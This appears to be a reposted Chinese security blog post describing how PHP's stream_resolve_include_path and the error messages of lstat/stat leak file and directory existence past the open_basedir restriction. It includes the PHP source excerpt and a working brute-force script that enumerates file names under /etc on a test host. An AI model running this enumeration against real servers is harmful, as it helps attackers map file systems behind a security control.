Php open_basedir Bypass

  • A+
所属分类:安全文章


比较鸡肋的一个 
1. 判断文件是否存在
     在php5.3.2添加了一个新函数,stream_resolve_include_path
     用法stream_resolve_include_path($filename),如果文件存在则返回改文件的绝对路径。
ext/standard/streamsfuncs.c

01 <code id="code0">/* {{{ proto string stream_resolve_include_path(string filename)
02 Determine what file will be opened by calls to fopen() with a relative path */
03 PHP_FUNCTION(stream_resolve_include_path)
04 {
05         char *filename, *resolved_path;
06         int filename_len;
07
08         if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &filename, &filename_len) == FAILURE) {
09                 return;
10         }
11
12         resolved_path = zend_resolve_path(filename, filename_len TSRMLS_CC);//直接去判断路径是否存在了,没有判断open_basedir
13
14         if (resolved_path) {
15                 RETURN_STRING(resolved_path, 0);//存在则返回文件的路径
16         }
17         RETURN_FALSE;
18 }</code>

这里用sae做一个简单的测试 分别判断/etc/passwds和/etc/passwd是否存在
返回如图

Php open_basedir Bypass


可以发现只返回了/etc/passwd 那么也就是这个是存在的,绕过了open_basedir
下面在做一个简单的测试 代码如下

01 <?php
02 //这里只测试五位的文件名称
03 $a='qwertyuiopasdfghjklzxcvbnm';
04 $f='';
05 for($i1=0;$i1<strlen($a);$i1++){
06 for($i2=0;$i2<strlen($a);$i2++){
07 for($i3=0;$i3<strlen($a);$i3++){
08 for($i4=0;$i4<strlen($a);$i4++){
09 for($i5=0;$i5<strlen($a);$i5++){
10  $f=$a[$i1].$a[$i2].$a[$i3].$a[$i4].$a[$i5];
11     if(stream_resolve_include_path("/etc/".$f)){
12     echo "/etc/".$f."";
13     }
14 }
15 }
16 }
17 }
18 }
19
20 ?>

这是是测试五位长度的文件名是a-z中的组合
运行结果如下


Php open_basedir Bypass


发现返回了一些存在的文件
在linux中 stream_resolve_include_path("/etc/".$f) $f如果是为.的话 则会返回/etc/
也就是可以利用stream_resolve_include_path 去猜测目录
这样就可以达到遍历目录的效果了
2 判断根目录是否存在
echo  lstat ('/etcs’); 还有一些函数 和这个一样 stat,is_executable(这里去判断一个不存在的根目录下的文件/目录)
这样会返回Warning: lstat() [function.lstat]: Lstat failed for /etcs in op.php on line 5

Php open_basedir Bypass


若是一个存在的文件/目录
则提示一个错误,错误的因为访问了一个在open_basedir中不允许的目录

Php open_basedir Bypass



本文始发于微信公众号(T00ls):Php open_basedir Bypass

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: